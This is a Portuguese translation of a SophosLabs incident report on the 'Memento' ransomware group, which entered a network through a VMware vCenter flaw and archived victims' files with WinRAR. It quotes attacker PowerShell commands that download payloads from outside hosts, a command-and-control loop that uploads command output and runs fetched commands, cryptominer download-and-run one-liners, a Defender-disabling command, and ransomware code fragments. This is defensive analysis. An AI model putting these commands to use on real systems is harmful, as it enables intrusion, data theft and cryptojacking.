Chamando a si mesmos de “Memento team”, os atores usam ransomware baseado em Python que eles reconfiguraram após contratempos.
No final de outubro, a equipe de resposta rápida do Sophos MTR encontrou um novo grupo de ransomware com uma abordagem interessante para manter os arquivos das vítimas como reféns. O ransomware usado por este grupo, que se identifica como “Memento Team,” não criptografa arquivos. Em vez disso, ele copia arquivos em arquivos protegidos por senha, usando uma versão freeware renomeada do utilitário de arquivo legítimo WinRAR – e então criptografa a senha e exclui os arquivos originais.
Essa foi uma reformulação pelos atores do ransomware, que inicialmente tentaram criptografar os arquivos diretamente – mas foram interrompidos pela proteção do endpoint. Depois de falhar na primeira tentativa, eles mudaram de tática e foram reimplantados, conforme evidenciado pelas várias versões da carga útil do ransomware compiladas em momentos diferentes encontrados na rede da vítima. Eles então exigiram US $ 1 milhão para restaurar os arquivos e ameaçaram expor os dados se a vítima não obedecesse.
Houve algumas outras reviravoltas no ataque “Memento” também. O ransomware em si é um script Python 3.9 compilado com PyInstaller. E em uma nota de resgate que em grande parte codifica o formato usado pelo REvil (incluindo a introdução “[-] O que está acontecendo [-]”), os criminosos por trás do ransomware instruíram as vítimas a contatá-los por meio de uma conta do Telegram. Os invasores também implantaram um keylogger de código aberto baseado em Python em várias máquinas à medida que se moviam lateralmente na rede usando o protocolo de área de trabalho remota.
Os atores do Memento também esperaram muito antes de executar o ataque – tanto tempo que pelo menos dois mineradores de criptomoedas diferentes foram colocados no servidor que usaram para o acesso inicial durante o curso de seu tempo de permanência por diferentes invasores usando explorações semelhantes.
Compromisso inicial
Os atores do ransomware parecem ter tirado proveito de uma falha no cliente web vCenter Server da VMware, revelada pela primeira vez em fevereiro. A vulnerabilidade permitiu que qualquer pessoa que tivesse acesso à porta 443 do TCP / IP ao servidor executasse comandos remotamente com privilégios de nível de sistema; um firewall foi configurado incorretamente e o vCenter Server foi exposto à Internet nessa porta. Este servidor tinha proteção contra malware desatualizada e não foi configurado com detecção e resposta de endpoint.
Embora haja indícios de que os atores por trás desse ataque obtiveram acesso à rede-alvo já em meados de abril, os primeiros sinais reais de invasão foram em 4 de maio: o lançamento de versões compiladas pelo PyInstaller de duas ferramentas do conjunto de ferramentas Impacket – o A ferramenta de shell remota wmiexec (que executa comandos por meio da Instrumentação de Gerenciamento do Windows) e a ferramenta de despejo de hash secretsdump foram descartadas em um servidor Windows. A ferramenta de despejo de hash provavelmente foi usada para adquirir credenciais para contas que seriam usadas posteriormente.
Seis dias depois, eles voltaram e começaram a configurar a loja, primeiro usando um comando do PowerShell para tentar desligar a verificação de malware:
powershell Set-MpPreference -DisableRealtimeMonitoring $true
Em seguida, os invasores começaram a usar solicitações da Web do PowerShell para obter arquivos: primeiro, uma cópia de uma versão de linha de comando do utilitário WinRAR e, em seguida, um par de arquivos RAR no servidor comprometido. Esses comandos foram executados usando o shell remoto wmiexec, conectando-se a um host (agora inacessível) na Coreia do Sul:
powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/r.exe -OutFile c:\temp\r.exe powershell Invoke-WebRequest -Uri http://27.102.127[.] 120/x1.rar -OutFile c:\temp\x1.rar powershell Invoke-WebRequest -Uri hxxp://27.102.127[.]120/x2.rar -OutFile c:\temp\x2.rar
Entre os arquivos extraídos do arquivo RAR estavam:
- pl.exe – uma cópia da ferramenta de tunelamento Plink SSH, permitindo que eles obtenham uma conexão de console interativa com o servidor comprometido.
- nm.exe — NMAP , a ferramenta de varredura de rede.
- Npcap-0.93.exe – o instalador da biblioteca de captura de pacotes de rede NPCAP e seu driver de kernel associado.
- mimikatz.exe — Mimikatz , a ferramenta de roubo de credenciais.
Os atores usaram o Plink para se conectar via SSH de outro endereço IP sul-coreano (27[.]102.66.114). Em seguida, eles configuraram um arquivo em lote (wincert.bat) como uma tarefa agendada (chamada Windows Defender Metadata Monitor) para estabelecer a persistência – puxando comandos de um script PHP em execução no servidor web comprometido operado por um editor na Coreia do Sul (novelupdate[.]com) usando Invoke-RestMethod do PowerShell. O script usou uma chamada quase idêntica para outro domínio (checkvisa[.]xyz).
Em seguida, os invasores usaram as credenciais administrativas que ganharam para se conectar ao servidor por meio do protocolo de área de trabalho remota, encapsulando a conexão SSH. Eles instalaram outra ferramenta de reconhecimento – Advanced Port Scanner – bem como o ambiente de tempo de execução Python 3.9.5. Eles também abandonaram dois utilitários de disco – WizTree e DiskSavvy. E eles se moveram gradualmente lateralmente, usando Mimikatz e secretsdump para comprometer três contas e criar duas novas com uma conta “admin” comprometida.
Em 28 de setembro, alguém (provavelmente os atores do ransomware) deixou cair outra cópia da conexão SSH do Plink, usando o serviço de transferência de arquivo transfer [.] Sh. Eles usaram essa instância adicional do Plink para criar uma conexão shell reversa para a conta “dontstarve” em um host chamado google[.]onedriver-srv[.]ml. Esta cópia do Plink foi eliminada com o nome de arquivo MicrosoftOutlookUpdater.exe e a configuração da conexão SSH foi chamada com um MicrosoftOutlookUpdater.bat. Depois que o shell reverso foi configurado, os invasores agendaram uma tarefa chamada “GoogleChangeManagementSchedule” – um comando codificado do PowerShell que carregou dados sobre o endereço IP do servidor comprometido e, em seguida, executou algumas trocas automatizadas de dados que parecem estar relacionados ao reconhecimento:
$c = ""
$p=""
$r = ""
$u = "hxxp://google[.]onedriver-srv[.]ml/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0]
$Response = Invoke-WebRequest -Uri hxxp://curlmyip[.]net -UseBasicParsing
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "$env:tmp$($Response.Content.Trim())-$($li)"
$ur = $wc.UploadFile("$u/phppost.php" , "$env:tmp$($Response.Content.Trim())-$($li)")
while($true)
{
$c = $wc.DownloadString("$u/$($Response.Content.Trim())-$($li)/123.txt")
$c = 'Write-Host " ";'+$c
if($c -ne $p)
{
$r = &(gcm *ke-e*) $c | Out-String > "$env:tmp$($Response.Content.Trim())-$($li)"
$p = $c
$ur = $wc.UploadFile("$u/phppost.php" , "$env:tmp$($Response.Content.Trim())-$($li)")
}
sleep 3
}
A incerteza sobre quem fez o quê no servidor comprometido vem do fato de que havia tantos atores em jogo, graças à detecção da vulnerabilidade do vCenter com varreduras em massa da Internet.
Compromissos extras
Em 18 de maio, outro ator totalmente diferente também explorou a vulnerabilidade do vCenter para instalar um minerador de criptomoeda XMR por meio de comandos do PowerShell:
powershell -nop -w hidden -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.exe'; $wc.DownloadFile('hxxp://45.77.76[.]158:25643/w', $tempfile); & $tempfile -u bdbe1601; Remove-Item -Force $tempfile
O operador do minerador então executou a carga útil, tmp5FE0.tmp.exe, que por sua vez registrou o driver do Windows WinRing0x64.sys como um serviço para alavancar a placa gráfica do servidor para fins de mineração.
Em 8 de setembro, outro intruso derrubou outro mineiro (XMRig):
powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://190.144.115[.]54:443 /mine.bat', $tempfile); &
$tempfile 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R2yk1V7SZk
TWeBk6JiT2q5cXLa7T;
Remove-Item -Force $tempfile
powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://lurchmath[.] org/wordpress-temp/ wp-content/plugins /xmrig.zip', 'C:\Windows\system32\config\systemprofile\xmrig.zip')
powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://190.144.115[.]54:443/mine.bat', $tempfile); &
$tempfile 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFBWBnZXPbGtYjRE7pqc2s9dCQ5R
2yk1V7SZkTWeBk6JiT2q5cXLa7T;
Remove-Item -Force $tempfile
powershell -Command $out = cat 'C:\Windows\system32\config\systemprofile\mimu\config.json' | %{$_ -replace '"url": *".*",', '"url": "195.201.124[.]214:10001",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Windows\system32\config\systemprofile\mimu\config.json'
Este operador mineiro também deixou cair uma cópia do auxiliar de serviços NSSM para monitorar e manipular os serviços em execução (baixado de um site WordPress comprometido).
XMRig e NSSM foram baixados novamente em 3 de outubro, desta vez de uma página do GitHub, usando uma conta administrativa de “suporte” criada pelos atores mineradores para executar os scripts.
Enquanto isso, de volta ao ransomware
z
Em outubro, a gangue Memento começou os preparativos para lançar ransomware. Eles deixaram cair uma cópia da ferramenta administrativa Process Hacker no servidor que usaram como base principal em 1º de outubro e configuraram o driver do kernel do Process Hacker como um serviço para persistência.
Nas duas semanas seguintes, os invasores continuaram a expandir seu alcance na rede usando RDP, ocasionalmente excluindo logs de RDP para cobrir seus rastros. Em 20 de outubro, eles começaram a usar o WinRAR para compactar uma coleção de arquivos para exfiltração, movendo os arquivos para um diretório em uma unidade compartilhada que eles pudessem acessar via RDP. Eles também implantaram um keylogger baseado em Python na estação de trabalho do administrador do sistema primário da organização, junto com uma instalação de um produto de software de controle remoto legítimo (MobiControl Remote Control da SOTI), para garantir acesso contínuo para sessões RDP.
Em 22 de outubro, a coleta de dados foi concluída, os invasores usaram o utilitário de limpeza de dados BCWipe da Jetico para remover evidências dos arquivos arquivados, uma vez que foram coletados, e para modificar carimbos de data/hora em outros. Eles também limparam os logs dos serviços de terminal para apagar as evidências das sessões RDP.
Na noite de 23 de outubro (um sábado), eles executaram a primeira iteração de seu ransomware.
A primeira tentativa de ransomware, RuntimeBroker.exe, usou o WinRAR para arquivar os arquivos e depois tentou criptografá-los. O ransomware, conforme declarado anteriormente, era um executável compilado do Python 3.9 – possivelmente compilado com a instância do Python instalada na rede pelos atores anteriormente.
Como o código foi compilado com PyInstaller e Python 3.9, não foi possível descompilar completamente as amostras de ransomware. Mas fomos capazes de decodificar o suficiente para entender sua estrutura e identificar a maior parte de como o ransomware funcionava. Sua função principal serviu apenas para lançar a função “Demônio” importada de um módulo denominado “metamorfose”:
from morph import Demon def main(): demon = Demon() Demon.start(demon) if __name__ == '__main__': main()
O módulo morph.pyc que contém a função Demon também inclui uma série de variáveis globais usadas pelo ransomware:
KEYFILE = ‘config.key’
URL = ‘hxxp://78[.]138.105.150:11180/sv.php’
START_MSG = ‘Task Started.’
END_MSG = ‘Task Completed.’
CHECK_INTERVAL = 900
REPORT_INTERVAL = 25
O arquivo config.key contém uma chave pública. A URL é um servidor de comando e controle que recebe telemetria de cada instância do ransomware.
A própria classe “Demon” executa os vários outros métodos do ransomware. Ele gera uma ID exclusiva para o sistema com base em seu endereço IP e nome do sistema Windows e inicia um “conector” para se comunicar com o servidor de comando e controle, o código de criptografia e um cronômetro de repetição copiado diretamente do Stack Overflow. O conector é usado para enviar informações do sistema, incluindo o ID da vítima, informações do sistema e mensagens de progresso conforme a rotina de criptografia atravessa os arquivos do sistema.
class Demon:
def __init__(self):
self.id = createID() # createID returns string with IP address and hostname, like "192.168.1.2-targeted-pc"
self.start = datetime(2021, 10, 10, 15, 23) # this time is the same in all three samples, later replaced with actual time
self.filter = re.compile('.+', re.IGNORECASE)
self.drivers = []
self.total_cnt = 0
self.total_bytes = 0
self.cur_enc_cnt = 0
self.cur_report_cnt = 0
self.error_files = []
self.connector = Connector(self.id, URL) # Connector class is loaded from connect.pyc
self.cryptor = Cryptor(KEYFILE) # Cryptor, the encryption code, is loaded from crypt.pyc
self.timer = RepeatTimer(CHECK_INTERVAL, self.callbackCheckTimeUp) # RepeatTimer is loaded from timer.pyc
self.sendVicInfo()
...
A função “createID”, conforme observado nos comentários que adicionamos ao código acima, gera um identificador exclusivo criando uma conexão de soquete para o serviço DNS do Google na porta 80 e recuperando o endereço IP local para a conexão (com socket.getsockname) e o nome do host do sistema. Esses valores são concatenados em uma única string, que é usada pelo Memento C2 como um identificador exclusivo do sistema.
A função “sendVicInfo” é exatamente o que parece: ela agrega informações do sistema sobre a máquina que está sendo visada pela instância do ransomware para ser enviada de volta pela conexão C2 para os atores do ransomware.
def sendVicInfo(self):
ret_str = f'''<=== Start time ===>: {self.start}\n\n'''
uname = platform.uname()
ret_str += f'''System: {uname.system}\n'''
ret_str += f'''Node Name: {uname.node}\n'''
ret_str += f'''Release: {uname.release}\n'''
ret_str += f'''Version: {uname.version}\n'''
ret_str += f'''Machine: {uname.machine}\n'''
ret_str += f'''Processor: {uname.processor}\n\n'''
boot_time_timestamp = psutil.boot_time()
bt = datetime.fromtimestamp(boot_time_timestamp)
ret_str += f'''Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}\n\n'''
ret_str += 'Total cores: %s\n' % psutil.cpu_count(True, **('logical',))
ret_str += f'''Total CPU Usage: {psutil.cpu_percent()}%\n\n'''
svmem = psutil.virtual_memory()
ret_str += f'''Total: {convSize(svmem.total)}\n'''
ret_str += f'''RAM Percentage: {svmem.percent}%\n\n'''
partitions = psutil.disk_partitions()
O código criptografador usa AES para criptografar os arquivos. O nome do arquivo da chave pública é passado para ele como um argumento, mas não é usado diretamente como a chave para criptografia. Em vez disso, é usado para descriptografar a senha usada em combinação com uma chave privada que é entregue a partir do C2 para descriptografar um arquivo chamado selfdel.py.vaultz em um arquivo de recurso Python. A criptografia de arquivo real é baseada em AES, usando encadeamento de bloco de cifra; uma senha é gerada para cada arquivo e criptografada por RSA. O crypt.pyc que define o cryptor tem as seguintes importações e variáveis:
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES import random import string import sys import os import subprocess SEED_LEN = 32 INITIAL_VECTOR = b'\xa4' * AES.block_size MAX_READ = 134217728 MAX_READ_PAD = MAX_READ + AES.block_size ENC_EXT = 'vaultz' SIG_EXT = 'vault-key' RAR_EXE = 'r.exe'
A variável “RAR_EXE” é uma referência à instância do WinRAR usada pelos atacantes nesta primeira versão. Parece ser chamado por uma função chamada encryptFile_r; uma função encryptFile separada é usada para criptografar arquivos, enquanto o encryptFile_r os coloca em um arquivo. Embora alguns sistemas tenham sido afetados por esta primeira versão do ransomware, a etapa de criptografia foi travada em sistemas com proteção anti-ransomware.
Segundo verso, ligeiramente diferente do primeiro
Sem se deixar abater, os atacantes do Memento mudaram de abordagem. Com o acesso à rede ainda intacto, eles modificaram o código do ransomware; em vez de criptografar primeiro, o novo código usou o executável WinRAR para arquivar arquivos em um arquivo protegido por senha. Duas variantes adicionais do executável ransomware, ambas compiladas como main.exe, foram construídas. Ambos adicionaram um manipulador de argumento de linha de comando para que os parâmetros pudessem ser passados para a classe Demon.
Demon.start(demon, sys.argv[1])
O segundo dos dois adicionou o código para verificar o comprimento do argumento passado na linha de comando – claramente uma depuração após a primeira versão ter falhado quando nenhum argumento foi passado.
from morph import Demon import sys def main(): demon = Demon() start = '' if len(sys.argv) > 1: start = sys.argv[1] Demon.start(demon, start) if __name__ == '__main__': main()
O arquivo morph.pyc também incluiu alguns pequenos ajustes, incluindo uma referência a um arquivo de filtro, filter.txt:
KEYFILE = 'config.key' URL = 'hxxp://78[.]138.105.150:11180/sv.php' START_MSG = 'Task Started.' END_MSG = 'Task Completed.' FILTER_FILE = 'filter.txt' CHECK_INTERVAL = 3 REPORT_INTERVAL = 25
O conteúdo de filter.txt:
c:\\Documents and Settings c:\\Users\\All Users c:\\users\\Default User c:\\Programdata\\Application Data C:\\ProgramData\\Desktop C:\\ProgramData\\Documents C:\\ProgramData\\Start Menu" C:\\ProgramData\\Templates C:\\windows RECYCLE.BIN Local Setting C:\\ System Volume Information
Isso parece ter especificado quais caminhos e arquivos específicos não devem ser criptografados.
As modificações no ransomware mudaram seu comportamento para evitar a detecção de atividade de criptografia. Em vez de criptografar arquivos, o código “criptografar” agora coloca os arquivos de forma não criptografada em arquivos compactados, usando a cópia do WinRAR, salvando cada arquivo em seu próprio arquivo com uma extensão de arquivo .vaultz. As senhas foram geradas para cada arquivo à medida que eram arquivados. Em seguida, as próprias senhas foram criptografadas.
Essas variantes foram construídas e executadas horas após a primeira tentativa. O malware foi espalhado manualmente pelos atacantes, usando RDP e credenciais roubadas.
Uma nota de resgate, Hello Message.txt, foi descartada depois que os arquivos foram arquivados. O arquivo foi solto manualmente na pasta Desktop da estação de trabalho do administrador de TI principal. O texto e a formatação são quase idênticos aos das notas de resgate de gangues do REvil e ameaçam a exposição dos dados se o pagamento do resgate não for feito. Ao contrário do REvil, no entanto, a demanda por pagamento era em Bitcoin, e os atores do Memento ofereceram um cronograma de pagamento para descriptografia: 15,95 BTC (aproximadamente US $ 1 milhão) para todos os arquivos e taxas variáveis para arquivos individuais por tipo:
Vitórias de Pirro
Depois de mais de 6 meses de permanência na rede da vítima, o ataque finalmente foi iniciado. Infelizmente para os atores do Memento, todo aquele trabalho extra não valeu a pena como planejado. A vítima não negociou com os atores do ransomware.
Graças aos backups, a organização de destino foi capaz de restaurar a maioria de seus dados e retornar às operações normais. Além disso, para sistemas que estavam executando InterceptX, o sistema de detecção e resposta de endpoint registrou os comandos usados pelo ataque para arquivar arquivos – junto com as senhas não criptografadas para os arquivos. O SophosLabs e o Sophos Rapid Response foram capazes de recuperar arquivos selecionados para a vítima e fornecer um método para recuperar todos os arquivos sem backup.
Ter backups eficazes de dados de rede é fundamental para a recuperação de um ataque de ransomware. Infelizmente, os dados exfiltrados do alvo ainda estão em jogo. E isso pode ter ramificações de longo prazo para a empresa.
Acreditamos que o longo tempo de permanência do ator do ransomware foi em parte porque eles não tinham o ransomware pronto para ser descartado no momento do comprometimento inicial. Mantendo um perfil discreto, modificando carimbos de data / hora em arquivos e apagando registros de sinais reveladores de comprometimento, eles conseguiram escapar da detecção por um tempo extremamente longo e explorar totalmente a rede. A extensão em que os serviços RDP foram habilitados em toda a rede facilitou muito o movimento lateral do teclado em toda a rede, reduzindo ainda mais a assinatura de sua intrusão.
A extensão em que um servidor sem patch exposto à Internet por um firewall mal configurado pode ser usado por vários agentes mal-intencionados para explorar o servidor (e no caso do operador de ransomware, toda a rede) oferece mais ênfase na urgência de aplicar os fornecedores patches de segurança. No momento do comprometimento inicial, a vulnerabilidade do vCenter era pública há quase dois meses e permaneceu explorável até o dia em que o servidor foi criptografado pelos atacantes de ransomware. Infelizmente, as organizações menores geralmente não têm a experiência da equipe ou o tempo necessário para ficar em dia com os novos patches de vulnerabilidade fora daqueles implantados automaticamente pela Microsoft. E muitas organizações não estão cientes do grau de risco associado às plataformas de software que usam e que podem ter sido instaladas por um integrador terceirizado.
Uma lista completa dos IOCs para o ataque Memento e os ataques de minerador deste incidente está disponível na página do SophosLabs no GitHub.
A SophosLabs gostaria de agradecer a Vikas SIngh, Robert Weiland, Elida Leite, Kyle Link, Ratul Ghosh, Harinder Bhathal e Sergio Bestuilic da equipe de Resposta Rápida da Sophos MTR e Ferenc László Nagy, Rahul Dugar, Nirav Parekh e Gaborappanos da SophosLabs por suas contribuições para este relatório.
Fonte: SophosLabs
Descubra mais sobre DCiber
Assine para receber os posts mais recentes por e-mail.
